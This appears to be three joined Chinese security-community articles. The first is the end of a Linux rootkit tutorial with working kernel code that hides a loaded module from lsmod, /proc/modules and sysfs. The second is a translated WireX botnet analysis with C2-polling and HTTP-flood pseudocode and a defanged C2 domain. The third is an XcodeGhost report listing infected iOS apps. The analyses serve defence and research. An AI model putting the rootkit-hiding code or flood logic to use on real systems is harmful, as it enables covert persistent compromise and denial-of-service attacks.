`#x`，`__percpu_seg` 展开为 `gs`，合起来便是 `%%gs:%P[var]`；拼接宏 `__pcpu_reg_8(mod, x)`
展开为 `mod "r" (x)`
最终展开为如下形式：
unsigned long long pfo_val__;
asm("movq %%gs:%P[var], %[val]" \
: [val] "=r" (pfo_val__) \
: [var] "p" (&(current_task)));
(struct task_struct *)(unsigned long) pfo_val__;
拨开 Linux 内核源码中的多层嵌套之后我们大抵能够明白该段代码的核心便是 **以 gs 寄存器作为基址，取 current_task 变量偏移处值赋给
pfo_val__ 变量** ，随后返回 pro_val__ 变量
那么为什么 gs 寄存器中存的地址在这个偏移上便是该进程的 task_struct 结构呢？这个和 percpu 机制有关，便不在此赘叙，大概就是每个
CPU 独立有一块地址空间，其中会存放包括当前进程的 task_struct 结构体等数据
## 0x03.模块隐藏
当我们将一个 LKM 装载到内核模块中之后，用户尤其是服务器管理员可以使用 `lsmod` 命令 **发现你在服务器上留下的rootkit**
arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ sudo insmod rootkit.ko
Password:
arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ lsmod | grep 'rootkit'
rootkit 16384 0
虽然说我们可以把 rootkit
的名字改为「very_important_module_not_root_kit_please_donot_remove_it」一类的名字进行伪装从而通过社会工程学手段让用户难以发现异常，但是哪怕看起来再“正常”的名字也不能够保证不会被发现，因此我们需要
**让用户无法直接发现我们的 rootkit**
### PRE.内核中的内核模块：module 结构体
这里仅简要叙述，在内核当中使用结构体 `module` 来表示一个内核模块（定义于
`/include/linux/module.h`），多个内核模块通过成员 `list`
（内核双向链表结构`list_head`，定义于`/include/linux/types.h` 中，仅有 next 与 prev
指针成员）构成双向链表结构
在内核模块编程中，我们可以通过宏 `THIS_MODULE` （定义于 `include/linux/export.h`）或者直接用其宏展开
`&__list_module` 来获取当前内核模块的 module 结构体，
### Step-I. /proc/modules 信息隐藏
Linux 下用以查看模块的命令 `lsmod` 其实是从 `/proc/modules` 这个文件中读取并进行整理，该文件的内容来自于内核中的
module 双向链表，那么我们只需要将 rootkit 从双向链表中移除即可完成 procfs 中的隐藏
熟悉内核编程的同学应该都知道 `list_del_init()` 函数用以进行内核双向链表脱链操作，该函数定义于
`/include/linux/list.h` 中，多重套娃展开后其核心 **主要是常规的双向链表脱链**
，那么在这里我们其实可以直接手写双向链表的脱链工作
我们还需要考虑到多线程操作的影响，阅读 `rmmod` 背后的系统调用 `delete_module` 源码（位于 `kernel/module.c`
中），观察到其进入临界区前使用了一个互斥锁变量名为 `module_mutex`，我们的 unlink
操作也将使用该互斥锁以保证线程安全（毕竟我们进来不是直接搞破坏的hhh）
在模块初始化函数末尾添加如下：
static int __init rootkit_init(void)
{
...
// unlink from module list
struct list_head * list = (&__this_module.list);
mutex_lock(&module_mutex);
list->prev->next = list->next;
list->next->prev = list->prev;
mutex_unlock(&module_mutex);
return 0;
}
将我们的 rootkit 重新 make 后加载到内核中，我们会发现 **lsmod 命令已经无法发现我们的 rootkit，在 /proc/modules
文件中已经没有我们 rootkit 的信息** ，与此同时我们的 rootkit **所提供的功能一切正常**
但同样地，无论是载入还是卸载内核模块都需要对双向链表进行操作，由于我们的 rootkit 已经脱链故 **我们无法将其卸载**
，同样地也无法将其再次载入（虽然说似乎并没有必要做这两件事情，因为 rootkit 一次载入后应当是要长久驻留在内核中的）
### Step-II. /sys/module/ 信息隐藏
sysfs 与 procfs 相类似，同样是一个基于 RAM 的虚拟文件系统，它的作用是将内核信息以文件的方式提供给用户程序使用，其中便包括我们的
rootkit 模块信息，sysfs 会动态读取内核中的 kobject 层次结构并在 `/sys/module/` 目录下生成文件
这里简单讲一下 kobject：Kobject 是 Linux 中的设备数据结构基类，在内核中为 `struct kobject`
结构体，通常内嵌在其他数据结构中；每个设备都有一个 kobject 结构体，多个 kobject 间通过内核双向链表进行链接；kobject
之间构成层次结构
> kobject 更多信息参见<https://zhuanlan.zhihu.com/p/104834616>
熟悉内核编程的同学应该都知道我们可以使用 `kobject_del()` 函数（定义于 `/lib/kobject.c`中）来将一个 kobject
从层次结构中脱离，这里我们将在我们的 rootkit 的 init 函数末尾使用这个函数：
static int __init rootkit_init(void)
{
...
// unlink from kobject
kobject_del(&__this_module.mkobj.kobj);
return 0;
}
简单测试，我们可以发现无论是在 procfs 中还是 sysfs 中都已经没有了我们的 rootkit
的身影，而提权的功能依旧正常，我们很好地完成了隐藏模块的功能
## 0xFF What’s more?
在后续文章中笔者将会讲述：
* 文件隐藏（filldir hook）
* 进程隐藏（脱离 cred_jar 进行简易内存分配）
* 驻留技术（systemd，initrd…）
* …… | 社区文章 |
# 【样本分析】安卓DDOS僵尸网络：The WireX Botnet
|
##### 译文声明
本文是翻译文章，文章来源：cloudflare.com
原文地址：<https://blog.cloudflare.com/the-wirex-botnet/>
译文仅供参考，具体内容表达以及含义原文为准。
**事件简介**
****
2017年8月17日，多个内容分发网络（CDN）和内容提供商遭受了来自被称为 **WireX** 的僵尸网络的重大攻击。该僵尸网络由其
**命令和控制(C2)** 协议中的一个分隔符字符串而得名。
WireX僵尸网络主要包括运行恶意应用程序的Android设备，而这些恶意应用程序主要用于制造DDoS流量。
前几天，Google被警告称这个恶意软件存在其Play商店中。不久之后，Google删除了数百个受影响的应用程序，并开始从所有设备中删除该恶意应用程序。
来自[Akamai](https://blogs.akamai.com/2017/08/the-wirex-botnet-an-example-of-cross-organizational-cooperation.html)，[Cloudflare](https://blog.cloudflare.com/the-wirex-botnet/)，[Flashpoint](https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/)，Google，Oracle
Dyn，[RiskIQ](https://www.riskiq.com/blog/labs/wirex-botnet)，Team
Cymru和其他组织的研究人员共同合作打击了这个僵尸网络。有迹象显示这个僵尸网络可能早在8月2日就已经开始活跃，但直到8月17日的攻击才引起了这些组织的关注。这篇文章代表了研究人员的共同智慧和努力，他们以互联网社区的整体利益为重，分享了关于此次僵尸网络的信息。本文是由来自多个组织的研究人员共同撰写的，由Akamai，Cloudflare，Flashpoint和RiskIQ同时发布。
**攻击细节**
WireX僵尸网络的最早的活动出现在8月2日，因为当时的攻击比较轻微，因此并没有被注意到。 直到研究人员开始在日志中搜索26字符的 **User-Agent** 字符串才发现。 这些初始攻击很小，表明恶意软件正处于发展阶段或部署的初期阶段。
持续时间更长的攻击从8月15日开始，这些事件源自至少7万个并发IP地址，如图1所示。
图1：根据参与攻击的每小时观察到的唯一IP数量，僵尸网络的预计增长
WireX是应用层的DDoS攻击。 攻击节点生成的流量主要是HTTP GET请求，有些变体似乎能发出POST请求。
换句话说，僵尸网络产生类似于普通HTTP客户端和Web浏览器的有效请求的流量。
通过初始观察，发现了通过使用包含小写英文字母字符的HTTP请求的 **User-Agent** 字符串，并以随机顺序来区分来自该僵尸网络的大部分流量。
看到的一些 **User-Agent** 值：
User-Agent: jigpuzbcomkenhvladtwysqfxr
User-Agent: yudjmikcvzoqwsbflghtxpanre
User-Agent: mckvhaflwzbderiysoguxnqtpj
User-Agent: deogjvtynmcxzwfsbahirukqpl
User-Agent: fdmjczoeyarnuqkbgtlivsxhwp
User-Agent: yczfxlrenuqtwmavhojpigkdsb
User-Agent: dnlseufokcgvmajqzpbtrwyxih
还观察到恶意软件的变种发出不同长度和扩展字符集的 **User-Agent** 字符串，有的包括常见的浏览器 **User-Agents** 。 以下是其他
**User-Agents** 的一些示例：
User-Agent: xlw2ibhqg0i
User-Agent: bg5pdrxhka2sjr1g
User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q
User-Agent: fge26sd5e1vnyp3bdmc6ie0
User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20071018 BonEcho/2.0.0.7
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2
**追根溯源**
****
对8月17日攻击数据的分析显示，来自100多个国家的设备参与了当前的僵尸网络，这点很不寻常。攻击IP的分布情况以及其独特的 **User-Agent**
字符串让当初调查的那些研究人员开始觉得其他组织可能已经看到或可能会遇到类似的攻击。于是研究人员与其他组织的同事们互相交流碰到的情况。
就这样一旦展开了更大规模的协同努力，调查便迅速开始展开。通过对历史日志信息进行分析，发现了攻击IP和恶意的连接，可能运行在Android操作系统之上。
在Mirai攻击之后，信息共享氛围已经出现了复苏，研究人员互相分享状况报告，并在必要时协同解决互联网问题。此外，WannaCry，Petya等全球性活动加强了这一合作的价值。诸如此类的许多信息共享组织完全是业界同行之间的非正式沟通。
**找到恶意软件**
****
调查8月17日攻击的日志显示，通过与之前的攻击比对签名，找到了具有相同签名的第一个Android应用程序“
**twdlphqg_v1.3.5_apkpure.com.apk** ”。
研究人员很快找到了该应用程序的样本以了解它的工作原理，并确定相关应用程序是否可能存在。
使用应用程序包中的应用程序名和参数的变体搜索可以显示来自相同或类似命名的作者的多个应用程序，他们具有相似的描述，如图2所示。找到新的应用程序之后，团队中的其他人就开始深入分析二进制文件来了解它们的工作原理。
图2：搜索相关恶意软件的截图
其实在移动设备预置的知名app store(像Google
Play这样的)发现这样的应用的情况实属少见。联系上Google之后，Google迅速删除了违规内容。 谷歌做了以下评论作为对这项研究的回应：
我们确定了与此问题相关的大约300个应用程序，将其从Play商店中移除，并且我们正在将其从所有受影响的设备中删除。有了研究人员的发现，再结合我们自己的分析，使我们能够更好地保护Android用户。
**恶意软件概览**
许多已识别的恶意软件为媒体/视频播放器，铃声或者像存储管理器这样的工具，还有应用商店等，而其中附加的隐藏功能对被感染的终端用户来说却并不明显。当启动应用程序时，恶意组件就启动命令和控制轮询服务开始工作，查询命令和控制服务器，其中最常见的是用于攻击命令的
**g[.]axclick[.]store** 。当接收到攻击命令时，解析服务将检查原始攻击命令，并从中解析出关键信息并将其作为参数调用攻击服务。
安装这些攻击功能的应用程序虽然本来是恶意的，但似乎对已安装它们的用户来说是良性的。这些应用程序还利用了Android服务架构的特性，它允许应用程序
**即使在后台也可以使用系统资源** ，因此能够在应用程序未使用时启动攻击。杀毒工具目前将此恶意软件识别为“ **Android Clicker**
”特洛伊木马，但本次事件的目的与点击欺骗并无关系。这种恶意软件可能之前跟点击欺骗有点联系，但之后又被作为DDoS之用。
有关应用程序的流氓组件的内部部分的深入概述，请参见附录1。
**总结**
****
只有在DDoS攻击的目标(也就是受害者)，DDoS缓解公司和情报公司之间开放协作，才能得出这么多发现。对于这次事件的揭露，每个集体都扮演了不同的角色;
没有每个人的贡献，这个僵尸网络将一直是一个谜。
当发生DDoS攻击时，可以做的最好的事情就是分享与攻击相关的详细信息。有了这些信息，我们有能力干掉这个攻击的人才能更加了解它们。
这些指标包括数据包捕获，攻击IP地址列表，赎金笔记，请求标头以及任何有趣的模式。这样的数据不应包含任何合法的客户端流量，以减少隐私问题，并且还会导致合法流量污染和减缓分析。最重要的是，允许您分享这些数据，不仅仅是向您的供应商提供这些数据，而是向更广泛的安全社区的可信任的人分享这些数据。
向别人请求帮助并不可耻。不仅不可耻，而且其实大多数情况下，根本不可能隐藏你被DDoS攻击了这样的事实。一些研究力量是有能力检测全球范围内针对第三方发生的DDoS攻击的存在的，无论这些第三方多么想要对这件事保持沉默。保持沉默并不能带来多少好处，需要积极地面对啊。
共享详细的攻击指标还允许正式和非正式的信息共享组在全球范围内沟通和了解正在发生的攻击，而不仅仅是他们在自己的平台上看到的攻击。这份报告是一个例子，说明如何以非正式的形式分享可以对受害者和整个互联网产生巨大的积极影响。跨组织合作对于应对互联网的威胁至关重要，如果没有这种合作，刑事案件可以不经审查就能运作。
我们要感谢Akamai，Cloudflare，Flashpoint，Google，RiskIQ，Cymru团队以及其他未列出来的研究人员。我们也要感谢联邦调查局在这件事上的协助。
**作者 & 研究员**
Tim April : Senior Security Architect @ Akamai
Chris Baker : Principal of Threat Intelligence @ Oracle Dyn
Matt Carothers
Jaime Cochran : Security Analyst @ Cloudflare
Marek Majkowski : Enthusiastic Geek @ Cloudflare
Jared Mauch : Internetworking Research and Architecture @ Akamai
Allison Nixon : Director of Security Research @ Flashpoint
Justin Paine : Head Of Trust & Safety @ Cloudflare
Chad Seaman : Sen. Security Intelligence Response Team Engineer @ Akamai SIRT
Darren Spruell : Threat Researcher @ RiskIQ
Zach Wikholm : Research Developer @ Flashpoint
**附录1** **： 恶意软件详细分析**
**
**
**识别C2域名**
****
通过检查各个反编译之后的应用程序，发现了某个根域名(axclick[.]store)的多个子域名。这些子域名怀疑是僵尸网络的C2服务器的一部分。
$ grep http * -R
com/twdlphqg/app/ExplorationActivity.smali: const-string v3, "http://u[.]axclick[.]store/"
com/twdlphqg/app/services/Ryiidrxcjmfb.smali: const-string v1, "http://g[.]axclick[.]store/"
其中第一个域(u[.]axclick[.]store)并没有返回任何内容。它只是返回一个空的响应然后加一个 **200 OK**
的状态码，似乎是用来作为基本的互联网连通性测试的。
第二个域（g[.]axclick[.]store）似乎被链接到恶意软件的DDoS组件。 引用此域的应用程序的组件负责创建包含两个 **WebView**
实例的Android **Service** (译者注：Service为Android的四大组件之一)。 第一个 **WebView**
实例用作C2信标，轮询C2服务器执行攻击指令。 第二个作为克隆 **WebView** 对象进行攻击的参考。
该组件还包含用于转换和配置这些攻击实例的基本逻辑。
还有其他一些有趣的组件，他们都有其独特的角色所在。
这里讨论的第一个组件类型作为基本的，永久的，持久化组件。 一些应用程序使用
android/os/Handler->postDelayed
功能实例化的Service对象。 其实就是使应用程序通过经常间隔轮询C2服务器的 **Service** 以实现持久化 ——即使应用程序是在后台运行的时候。
应用程序的其他变种使用 **AsyncTask** 对象可达到相同的目的。
第二个组件是用作C2攻击指令解析器的 **WebViewClient** 。 它负责检测来自由轮询服务控制的C2 **WebView** 实例的
**onPageFinished** 事件，并解析返回的命令。 当攻击命令被成功解析后，这个组件就负责调用最终用来发起攻击的函数。
**组件概述**
****
下面我们将单独讲一下从反编译的APK得到的伪代码收集到的信息。 然后，我们将更详细地讨论伪代码到底做了什么，因为这涉及到攻击相关的命令和技术。 ****
**Service Runner组件**
**ServiceRunner** 组件是用来作为持久后台执行任务的，它将一个 **Runnable** 对象注入到一个定时的
**android.os.handler**
对象中。由于在Android环境中Service是可以在后台持续运行的，app一旦启动恶意软件就可以持续性地在后台运行。只有在应用被移动设备用户故意kill/关闭掉，或者是在设备重启的情况下，这种后台执行的操作才会停止。
**
**
**Service Runner伪代码**
Class ServiceRunner extends Object {
Public function run() {
DDoS_Service->poll_c2();
}
}
**C2服务器响应解析器**
**AttackCommandParser** 是一个callback， 在C2 **WebView**
检测到页面已经加载时触发。解析器加载页面的内容，并提取<title>标签中的内容作为攻击命令。 根据观察到的样本，来自C2的payload如下所示：
<html>
<title>
https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/
</title>
</html>
从 **< title>**标签中提取出来的值作为参数传入到 **String- >contains()**，确保这个值包含token分隔字符串"
**snewxwri** "。如果分隔符存在，就把内容trim一下，然后用split()分隔成包含几个部分的 **Array**
。最后得到的分隔后的值将作为参数传入到 **DDoS_Service- >attack()**方法中。
**C2服务器端响应解析之后的伪代码**
Class AttackCommandParser extends WebViewClient {
Public function onPageFinished(C2_WebView,C2_url) {
String pageTitle = C2_WebView->getTitle();
if (pageTitle->contains(“snewxwri”) == true) {
pageTitle = pageTitle->trim();
Array commandParts = pageTitle.split(“snewxwri”);
String target = commandParts[0];
String userAgent = commandParts[1];
String referer = commandParts[2];
DDoS_Service->attack(target, userAgent, referer);
}
}
}
**DDoS Service**
DDoS_Service组件就是用来发动攻击的核心组件了。它包含三个核心函数。它们的任务分别是：运行 **Service** 、调用
**poll_c2()** 方法加载C2的 **WebView** ，以及最重要的——发起攻击。我们先上伪代码，然后对这三个函数逐一进行分析。
**DDoS Service伪代码**
Class DDoS_Service extends Object {
Public function onCreate() {
Handler OS_Handler = new Handler();
Object Runner = new ServiceRunner();
OS_Handler->postDelayed(Runner,2);
}
Public function poll_c2() {
WebViewClient C2_Parser = new AttackCommandParser();
WebView C2_WebView = new WebView();
WebViewSettings C2_WebView_Settings = C2_WebView->getSettings();
C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE);
C2_WebView->clearCache(true);
C2_WebView->clearHistory();
C2_WebView->setWebViewClient(C2_Parser);
C2_WebView->loadUrl(“http://g[.]axclick[.]store”);
}
Public function attack(String target, String userAgent, String referer) {
HashMap WebViewHeaders = new HashMap();
WebViewHeaders->put(“Referer”,referer);
WebViewHeaders->put(“X-Requested-With”,””);
WebView[] AttackerViews = new WebView[100];
for (int i=0; i<AttackerViews.length; i++) {
AttackerViews[i] = new WebView();
AttackerViews[i]->clearHistory();
AttackerViews[i]->clearFormData();
AttackerViews[i]->clearCache(true);
WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
AttackWebViewSettings->setJavaScriptEnabled(true);
AttackWebViewSettings->setUserAgentString(userAgent);
AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
this->deleteDatabase(“webview.db”);
this->deleteDatabase(“webviewCache.db”);
AttackerViews[i]->loadUrl(target,WebViewHeaders);
}
}
}
**DDoS Service的onCreate()**
onCreate()方法直截了当：就创建了一个新的 **android.os.Handler** 以及 **ServiceRunner** 实例。其中
**ServiceRunner** 实例随后通过 **postDelayed()**
方法被hook到Handler上。根据[Android官方文档](https://developer.android.com/reference/android/os/Handler.html#postDelayed\(java.lang.Runnable,%20long\))的介绍，这"使得Runnable对象被添加到消息队列中，然后经过一段特定的时间之后被调用"。这个方法接收的第二个参数是在Runnable被调用之前需要经过的毫秒(ms)数。在这个例子里面就是2，也就是2ms，可见攻击者多么具有攻击性。
**DDoS Service poll_c2()**
poll_c2()方法负责使用C2 URL不断重新加载WebView，同时将AttackCommandParser WebViewClient
hook到轮询器WebView实例中。 在轮询C2域之前，这个Service将清除并禁用缓存，并清除WebView实例的历史记录。
执行这些步骤是为了确保客户端始终从C2获取最新信息，而不是从本地设备的缓存中。 在分析attack()方法时，我们会看到这种策略再次被使用。
**DDoS Service attack()**
Public function attack(String target, String userAgent, String referer) {
HashMap WebViewHeaders = new HashMap();
WebViewHeaders->put(“Referer”,referer);
WebViewHeaders->put(“X-Requested-With”,””);
WebView[] AttackerViews = new WebView[100];
for (int i=0; i<AttackerViews.length; i++) {
AttackerViews[i] = new WebView();
AttackerViews[i]->clearHistory();
AttackerViews[i]->clearFormData();
AttackerViews[i]->clearCache(true);
WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
AttackWebViewSettings->setJavaScriptEnabled(true);
AttackWebViewSettings->setUserAgentString(userAgent);
AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
this->deleteDatabase(“webview.db”);
this->deleteDatabase(“webviewCache.db”);
AttackerViews[i]->loadUrl(target,WebViewHeaders);
}
}
**attack()** 方法负责生成实际的攻击流量。之前讨论的 **AttackCommandParser- > onPageFinished()
**将传递由最后一个C2交互发出的target，userAgent和referer值。此方法将创建一个 **HashMap**
对象，该对象将配置攻击期间使用的HTTP头。
第一个头是HTTP Referer，据我们所知这是由C2服务器提供的。在所有我们观察到的情况中，该值是实际目标的镜像值。第二个头是
**X-Requested-With** ; 虽然 **WebView**
通常会有一个默认值，但它将被空白值覆盖。通常来自嵌入式WebView的这个HTTP头将包含与Android应用程序有关的信息，例如
**com.[app_author].app** 。这个头部很可能被专门用来混淆攻击目标身上遇到的攻击流量是谁或者什么。
一旦配置了headers，就会实例化一个空的 **WebView** 占位符数组，然后是一个循环，用实际的 **WebView**
实例来填充这个数组。每个实例都通过同一组配置过程。创建的WebView实例将具有其历史记录，保存的表单数据和缓存清除。启用JavaScript功能（默认情况下嵌入式WebViews通常被禁用），将使用C2攻击指令提供的值覆盖HTTP头中出现的
**User-Agent** 字符串，并将 **CacheMode** 设置为 **LOAD_NO_CACH**
E，这将强制浏览器实例绕过本地缓存，然后为每个请求获取目标URL。
最终确保设备上不会命中缓存，然后将该请求发送到目标，应用程序在加载每个请求之前也会从设备中删除其本地的 **webview.db** 和
**webviewCache.db** 文件。
最后，我们看到使用目标URL和自定义的WebViewHeaders HashMap在新配置的WebView实例上调用了 **loadUrl()** 方法。
**运行恶意软件——用户体验怎么样？**
虽然许多已识别的应用程序已从Google Play商店中删除，但镜像仍然在互联网上，我们可以从那里下载APK文件。 我们将“ **twdlphqg**
”（其中一个攻击应用）加载到从2015年开始运行Android 5.0和安全补丁的三星Galaxy S4的设备上。
这个app与我们测试的其他app一样，使用的都是无害化的名称，如“设备分析工具”，“数据存储工具”“软件包管理器”等。
当应用程序运行时，它好像就是一个非常简单的铃声应用程序，只提供了三个铃声。 该应用程序可以播放和设置铃声，但没有其他功能。
然而在后台，这个应用程序产生了额外的进程，手机即使在锁屏的情况下，这些进程也会继续运行。 这个特性允许应用程序在后台从手机端发起DDoS攻击。
当我们将手机放在充电器上让它睡眠时，它就会继续发起DDoS攻击。
值得注意的是，现在已经无法安装这个应用程序了，因为Google的 **PlayProtect** 功能现在已经阻止这个应用程序安装了。
Google也将其从已经安装的设备中删除。 我们测试的本次攻击事件中所有这些应用程序都弹出了下面的禁用对话框，
而禁用PlayProtect是运行恶意软件所必需的。
**注意！注意！恶意app的变种！**
我们测试了此次攻击事件中的多个应用，它们在恶意行为和用户界面方面都有不同的变化，但他们也并不全是铃声应用。 另外所有测试都是在同一台手机上进行的。
来自DDoS统计数据的 **Xryufrix**
是最受欢迎的，但是在运行时，它的表现是惊人的。可能是由于兼容性的问题，妨碍了它达到其完整的DDoS攻击力。该应用程序在初次安装时仅需要较少的权限，但是要求与
**twdlphqg**
具有相同的锁屏相关设备管理员权限。这个恶意软件想伪装成一个YouTube应用程序。当它首次打开时，它会向axclick域查询DDoS攻击命令以及针对
p[.]axclick[.]store/?utm_source=tfikztteuic
的GET请求，它返回位于
market://details?id=com[.]luckybooster[.]app
的app的Play Store
URL。当用户尝试播放Youtube视频时，此应用关闭，从应用列表中删除其图标，并且使它自己以后都无法执行，可能已经crash了。它还为“
**Luckybooster** ”应用程序打开了Play store的下载链接，它在运行时没有DDoS。 **xryufrix**
应用程序在手机睡眠时不会启动DDoS攻击，在应用程序处于活动状态的任何一个时刻也不会启动DDoS攻击。 | 社区文章 |
# Xcode木马样本分析及被挂马的红包插件
|
##### 译文声明
本文是翻译文章，文章来源：360NiranTeam涅槃
译文仅供参考，具体内容表达以及含义原文为准。
**Xcode事件持续升温！APP受感染数量再度升级！！！**
**一,受影响app**
360NiranTeam团队连夜扫描了14万5千多个app，共发现344款app感染XcodeGhost木马，其中不乏有百度音乐，微信，高德，
滴滴，花椒，58同城，网易云音乐，12306，同花顺，南方航空，工行融e联，重庆银行用户量很广的app，涉及互联网、金融、铁路航空、游戏等领域
微信 | 6.2.5
---|---
炒股公开课 | 3.10.02-3.10.01
股票雷达 | 5.6.1-5.6
CarrotFantasy | 1.7.0.1-1.7.0
我叫MT | 4.6.2
逆轉三國 | 5.80.5-5.80
卷皮 | 3.3.1
南京银行 | 3.6-3.0.4
网易云音乐 | 2.8.1
图钉 | 15205-7.7.2
Theme | 2.4
南方航空 | 2.6.5.0730-2.6.5
下厨房 | 4.3.1-46
诊疗助手 | 7.2.3
WallpaperFlip | 1.8
VGO视信 | 1.6.0
高德地图 | 7.3.8.1040-7.3.8
天使房贷 | 5.3.0.2-5.3.0
FaceAgeCamera | 3.6.7
三国名将 | 4.5.0.1-4.5.1
Theme | 2.4.2-2.4
滴滴打车 | 3.9.7.1-3.9.7
Phone+ | 170-3.3.6
天涯社区 | 5.1.0
AA记账 | 1.8.7-1.8
MailAttach | 2.3.2-2.3
沃玩家 | 1.7.0.1-1.7.0
微贷网理财 | 2.3.201507291150-2.3.0
Golf | 2.4.3.2-2.4.3
PianoTiles6 | 4.1.10
滴滴出行 | 4.0.0
牛股宝手机炒股票 | 2.1
轻松e贷 | 2.2
news | 2626-2.6.2
云南手机台 | 3.3.2-3321
铁路12306 | 2.12-2.1
夫妻床头话 | 2.0.1
UME电影票 | 2.9.4
妈妈圈 | 5.3.0
DigitGod | 2.0.4-2.0
造梦西游OL | 4.6.0
神雕侠侣 | 1.1
PrincessSalon | 1.0-1.2
美菱生活 | 4.3.0
车星人 | 4.0.1-4.0
MakeMeASuperStar | 1.0-1.2
TDVideoCol | 3.4.3-3.4
我有车 | 2.1.1.102-2.1.1
付融宝 | 20150703-1.0.6
精品后宫小说 | 2.9.0-2.9
烘焙秘方 | 3.0
Scanner+ | 5.0.2-5.0
mts-iphone | 2.2.0
FeedBaby | 1.0.3
合理用药 | 3.2.4-3.2.3
漫画魔屏 | 7602-7.1.3
疯点 | 2.7.3-2.7.1
奇幻仙侠小说 | 2.9-2.9
淘金路 | 6.1.2.3-6.1
FollowMe | 168-6.1
青岛公交查询 | 2.6.0-921
嘟嘟 | 1.2.119
部落冲突攻略 | 7.0.0
magicfishiOS | 1.0.5.4-1.0.5
穿越小说 | 3.751-3.75
原油喊单 | 1.2
福州市民网 | 28-2.114
公交e路通 | 1.0.2-1.0.5
卓创农业 | 2.2.0.1-2.2
IWithYou | 2.3.0.6-2.3.0
合不拢嘴 | 4.0-4.0.0
WallPapersHD | 1.0.10
大众妙客 | 12-1.5.0
LensCollage | 2.53-2.5
蛋糕叔叔 | 1.4.3
Theme | 1.2-1.2
SplitLens | 5.5.1-5.5
程序员读 | 1.60.01-1.60
Baseball | 2.4.2.0-2.4.2
iWallPapers | 1.2.16
疯狂24点 | 2.0.1-2.0
读么 | 2.7.2-2.7
Taguage | 4.0
懒人周末 | 1.3.0.0-1.3.0
画吧 | 1.2.7-1.2.1
暗黑黎明 | 1.6.0-1.6.0
DontMakeThemDie | 2.1-2.1.0
工作宝 | 3.0.1
支付通签约宝 | 2.1.7
地图木拼 | 2.0.3
网络医院 | 2.2.3
掌证宝天玑版 | 3.0.2-3.0.2
快乐备孕 | 2.0.0
我叫MT2 | 1.9.5
玩机助手 | 1003-1.2.0
拍鞋网 | 2015070301-2.3.2
我叫MT2攻略 | 7.0.0
电掌柜 | 1.6
中医百科 | 2.1.0
中医常见疾病 | 2.1.0
读名著学英语 | 2.0.0
海棠社区 | 1.2.2005-1.2.201
移动办税平台 | 14.2.2
药给力 | 1.10.1
永泰惠 | 150715-1.1.6
39健康管家 | 29-0.2.5
航海王启航 | 2.5.1-2.5
录音宝 | 22-1.0.1083
恒富在线 | 1.0.9-1.5
财理你 | 1.2.4
中国太保 | 208-2.0.8
营养早餐食谱 | 2.0.0
荤菜食谱 | 2.0.0
ddc | 1.0.5-1.0.6
必趣视频 | 4.1.5
素菜食谱 | 2.0.0
言情小说专集 | 1.1.1-7
口袋记账 | 1055-1.6.0
微博相机 | 2139-1.5.0
暴走表情包 | 2015.08.011-2015.08.01
西餐食谱 | 2.0.0
爱竞彩 | 2.4-1.2.2
Note | 1.0.5.0-1.0.5
NinjaDash | 1.3-1.3.0
口袋机战 | 1.0.12-1.0.12
自由之战 | 1.0.9.2-1.0.9
猫豆 | 1.4.3
战地征服 | 1.1216-1.121
绿色浏览器 | 1.6-1.7.0
FilmStarSalon | 1.0-1.0
PP基金 | 1.0.0-1.1.2
4+1！ | 1505111716-1.0
猫市台湾快食 | 2.0.2
FashionStylist-Actor | 1.0
玉米做法大全 | 1.0.0
途游麻将 | 1-3.502
同花顺至尊版 | 9.53.01-9.53.01
快手菜谱 | 1.0.0
小吃点心大全 | 1.0.1-1.0.0
SeaDiamondiOS | 1.0.4-1.0.4
WeddingSalon | MermaidBride-1.0
家常小炒 | 2.1.0
战舰少女攻略 | 700-7.0.0
Costumedresssup! | 1.1-1.0
CandySodaiOS | 1.0.3
税吧 | 1.4-2.0
桌上坦克 | 1.0.95
奥特曼横扫怪兽 | 1.3-1.2
粽子大全 | 1.0.1-1.0.0
去潜 | 1.1.7
ForestAdventure | 1.0
SugarCarnivaliOS | 1.0.7
PregnantEmergencyDoctor | 1.0.2.1-1.0.2
FashionDollHairStylist | 1.0
ExcavatorStunt | 2.0.1.0-2.0.1
MSPT_Merchant | 1.2.10.0-1.2.10
钱宝有票 | 2.0.2-2.0.0
智慧树 | 3.9
国海极速开户 | 16-3.1.4
KnowVegetables | 618-1.6.18
南瓜饼做法 | 1.0.1-1.0.0
一日多餐 | 20150502001-1.0.0
糯米饭 | 20150507001-1.0.0
西游记评书 | 1.0.1-1.0.0
自由之战iPad | 1.0.7.3-1.0.7
包子做法大全 | 1.0.0
途游中国象棋 | 2-3.372
FromPrincesstoSuperhero | 1.1-1.0
心健康 | 1.0.4
凉菜食谱 | 2.0.0
斗牛牛 | 158-1.3.7
客户管家 | 1.3.9.3-1.3.9
Timer运动 | 2.002
PromHairSalon | 1.0
FashionStar | 1.0-1.1
有财股票开户 | 16-3.2.2
代理人微店 | 1-2.1.1
米乐汇斗地主 | 2-1.0.0
桂林中医院 | 1.0.1-1.0.1
中国大学慕课 | 201009-1.0.3
拇指医学院 | 1.0.8-1.1.0
EnglishBite | 34-1.2.3
FlyingAwesomeGolf | 1505231548-1.0
FoodStallStory | 1.1-1.0
GangGouHelper | 1.0.4
聪头 | 21-1.5.3
安徒生童话 | 1.2-1.0
烘焙烤箱食谱 | 2.0.0
SiblingModels | 1.0-1.1
HomeEdition | 1.0
HairSalon | 1.0
优品速达 | 1.0
Petcontestsalon | 1.0
PrincessPet | 1.0
CamCard | 6.5.1.9544-6.5.1
BirthdayBash | 1.2-1.0
好吃吗 | 2.0.7-2.0
伊索寓言故事 | 1.0-1.0
